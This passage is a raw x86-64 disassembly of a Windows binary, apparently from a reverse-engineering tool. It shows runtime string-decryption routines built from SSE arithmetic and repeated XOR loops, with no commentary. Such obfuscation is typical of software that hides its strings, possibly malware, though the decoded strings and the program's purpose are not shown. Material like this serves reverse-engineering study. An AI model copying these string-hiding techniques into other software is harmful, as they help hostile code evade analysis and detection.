pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140011620
cmp r8d, 0x13
jge 0x140011760
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140011731
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x300], xmm1
lea rax, [rbp - 0x70]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140011780
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2f0]
call fcn.1400050f0
nop
movsd xmm0, qword [str.rCWR_EYVM:]
movsd qword [rsp + 0x68], xmm0
movzx eax, word [0x1401ff7b0]
mov word [rsp + 0x70], ax
movzx ecx, byte [0x1401ff7b2]
mov byte [rsp + 0x68], 0x42
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor byte [rsp + 0x6c], 0x34
xor byte [rsp + 0x6d], 0x35
xor byte [rsp + 0x6e], 0x36
xor byte [rsp + 0x6f], 0x37
xor al, 0x38
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], 0x39
xor cl, 0x3a
mov byte [rsp + 0x72], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x320], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140011820
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x310]
call fcn.1400050f0
nop
movups xmm0, xmmword [0x1401ff7b8]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [0x1401ff7c8]
movups xmmword [rbp - 0x48], xmm1
mov eax, dword [0x1401ff7d8]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x1401ff7dc]
mov byte [rbp - 0x34], al
mov r8d, edi
cmp r13d, 2
jl 0x1400119b7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp - 0x54]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400118b0
cmp r8d, 0x25
jge 0x1400119f0
movsxd rax, r8d
lea r9, [rbp - 0x58]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x1400119c1
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x340], xmm1
lea rax, [rbp - 0x58]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140011a10
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x330]
call fcn.1400050f0
nop
movsd xmm0, qword [str.tTPFS]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x1401ff7e8]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1401ff7ec]
mov word [rbp - 0x7c], ax
cmp byte [0x1401ff7ed], 0
je 0x140011baf
mov r8d, edi
cmp r13d, 2
jl 0x140011b72
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.tTPFS]
pxor xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x7c]
pxor xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140011b80
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x360], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140011bd0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x350]
call fcn.1400050f0
nop
movups xmm0, xmmword [str.vWQGu_YW_jT_H_]
movups xmmword [rsp + 0x78], xmm0
movzx eax, byte [0x1401ff800]
mov byte [rbp - 0x78], al
mov r8d, edi
cmp r13d, 2
jl 0x140011d57
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x7c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140011c50
cmp r8d, 0x11
jge 0x140011d9f
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140011d70
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x380], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140011dc0
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x370]
call fcn.1400050f0
nop
movsd xmm0, qword [str.tXAXfPUXJ_SU_]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x1401ff810]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1401ff814]
mov word [rbp - 0x7c], ax
cmp byte [0x1401ff815], 0
je 0x140011f5f
mov r8d, edi
cmp r13d, 2
jl 0x140011f23
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.tXAXfPUXJ_SU_]
pxor xmm2, xmm1
movd dword [rsp + 0x78], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x7c]
pxor xmm2, xmm1
movd dword [rsp + 0x7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x78]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140011f30
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3a0], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140011f80
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x390]
call fcn.1400050f0
nop
movups xmm0, xmmword [str.vWQGdR_VH_USY_vXVfPUXJ_:]
movups xmmword [rsp + 0x78], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14001213f
cmp r13d, 2
jl 0x140012101
movdqa xmm5, xmmword [0x140201780]
mov edx, edi
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x7c]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140012000
jmp 0x14001213f
lea r9, [rsp + 0x78]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140012110
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3c0], xmm1
lea rax, [rsp + 0x78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012160
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x3b0]
call fcn.1400050f0
nop
movsd xmm0, qword [0x1401ff828]
movsd qword [rsp + 0x68], xmm0
movzx eax, word [0x1401ff830]
mov word [rsp + 0x70], ax
movzx ecx, byte [0x1401ff832]
mov byte [rsp + 0x68], 0x46
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor byte [rsp + 0x6c], 0x34
xor byte [rsp + 0x6d], 0x35
xor byte [rsp + 0x6e], 0x36
xor byte [rsp + 0x6f], 0x37
xor al, 0x38
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], 0x39
xor cl, 0x3a
mov byte [rsp + 0x72], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3e0], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140012200
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3d0]
call fcn.1400050f0
nop
movsd xmm0, qword [str.bTQFQpT:]
movsd qword [rsp + 0x68], xmm0
movzx eax, word [0x1401ff840]
mov word [rsp + 0x70], ax
movzx ecx, byte [0x1401ff842]
mov byte [rsp + 0x68], 0x52
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor byte [rsp + 0x6c], 0x34
xor byte [rsp + 0x6d], 0x35
xor byte [rsp + 0x6e], 0x36
xor byte [rsp + 0x6f], 0x37
xor al, 0x38
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], 0x39
xor cl, 0x3a
mov byte [rsp + 0x72], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x400], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400122a0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3f0]
call fcn.1400050f0
nop
movsd xmm0, qword [str.vXVsGWUZH_cTW_5]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [0x1401ff850]
mov dword [rsp + 0x70], eax
cmp byte [0x1401ff853], 0
je 0x14001243f
mov r8d, edi
cmp r13d, 2
jl 0x1400123f9
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.vXVsGWUZH_cTW_5]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140012410
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x420], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012460
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x410]
call fcn.1400050f0
nop
mov eax, dword [0x1401ff854]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1401ff858]
mov word [rsp + 0x6c], ax
mov byte [rsp + 0x68], 0x53
xor byte [rsp + 0x69], 0x31
xor byte [rsp + 0x6a], 0x32
xor byte [rsp + 0x6b], 0x33
xor al, 0x34
mov byte [rsp + 0x6c], al
xor byte [rsp + 0x6d], 0x35
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x440], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400124d2
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x430]
call fcn.1400050f0
nop
movsd xmm0, qword [str.PqGAW]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [str._t_n_t_f_]
mov dword [rsp + 0x70], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x74], al
mov r8d, edi
cmp r13d, 2
jl 0x140012629
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.PqGAW]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140012640
xorps xmm0, xmm0
movups xmmword [rbp + 0x450], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x460], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012690
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x450]
call fcn.1400050f0
nop
mov rax, qword [str.WCSQVPD7wCSQVPD7tD_C4]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff877], 0
je 0x14001280f
cmp r13d, 2
jl 0x1400127d4
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
pxor xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
pxor xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14001280f
lea r9, [rsp + 0x68]
mov r8d, edi
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400127e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x470], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x480], xmm1
lea rax, [rsp + 0x68]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140012830
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x470]
call fcn.1400050f0
nop
mov rax, qword [0x1401ff878]
mov qword [rsp + 0x68], rax
cmp byte [0x1401ff87f], 0
je 0x1400129af
cmp r13d, 2
jl 0x140012974
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
